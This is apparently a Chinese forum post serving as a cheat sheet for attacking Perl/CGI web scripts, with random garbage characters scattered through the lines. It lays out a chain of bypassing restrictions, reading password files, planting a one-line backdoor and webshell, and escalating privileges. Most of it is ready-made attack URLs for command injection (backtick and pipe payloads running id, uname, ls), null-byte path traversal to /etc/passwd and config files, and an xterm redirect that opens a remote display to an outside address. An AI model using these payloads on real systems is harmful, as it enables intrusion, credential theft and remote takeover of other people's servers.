总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
9 k: S: i0 k* \3 wcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 3 I. z [7 c5 ~; i) G
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 " y9 e! I/ x- i- Y( Z
注“
, y) E4 o; C8 w, U8 zperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 . S \/ G( v4 y% d- f, @
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 5 b6 \, X' L$ v3 y
) e k/ k- n$ K) c, H$ Lhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 / `- g3 H% a+ S
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 ( O: \$ H0 o. R, W0 ]) @
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 . V, Z* i: O, c4 ^6 S
http://target.com/cgi-bin/home/news/sub.pl?`id`
7 I4 h% F Z0 nhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
1 y* D( `1 _( lhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 + \! o! @0 X# c% }+ a" C9 Y% d
* x& L2 Y# ]! `9 g0 i2 Ehttp://target.com/test.pl;ls|
+ q/ @& i1 j' \( f' Ohttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
Y5 o/ r# N. c' S0 z4 w7 X# H% shttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
. J- y" t" X2 hhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
& M# ]( A8 Z7 {; i. j比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 " {. T2 f( M0 H' k" g; z3 z
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
" U1 f: y& L* c; ?4 S7 v( m8 J. o! A; @: h/ p& U; V
http://target.com/test.pl?&........ /../../etc/passwd + v. ^' Z! H1 }& Y1 D
# ~# x Y7 G$ X- R
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ : z; A6 O; o% W3 R5 a
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 & v3 S# }* Y* H5 x5 l! ]2 s/ B
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
% P9 s& n3 l. H8 ^/ n9 T W/ [5 d& T/ K. m
http://www.target.org/show.php?f ... /include/config.php 查看php代码
8 E. m8 m }' b3 V* g9 p& ahttp://www.target.org/show.php?f ... ng/admin/global.php
0 _+ d+ G9 L5 e: z0 j @. F
- j! e+ m- _9 T* @emm和ps的一句话' Q6 E6 G- C2 `
8 v% b$ Y. f8 W+ u; F( h; ^http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 ; U; J' B0 e) O- R2 a6 r
6 n, v: Y8 [" f: X: f, M>bbb%20|
, i8 ] u/ b- r% z
; o9 n( r% Y9 V; E Z1 I8 e2 `http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 , n, z% K9 D; Y, h' U2 |4 v
2 h0 q. Q, X: ~3 H5 u1 u" lhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 ; D& X! X9 m k" k( Z; X1 Q
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
; [' P. `* F- h5 s2 b
) o& n& j3 d7 A$ D4 \3 `& P2 f相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
7 W6 ]. `( c1 v. h; [% R- w$ Thttp://target.com/index.html#cmd.exe
; F1 f4 G: Z' V! c0 shttp://target.com/index.html?dummyparam=xp_cmdshell
( h' Z/ g0 B# y9 M O* Ilynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
" ?' D9 g9 p2 R( t. l7 s* [7 [$ w |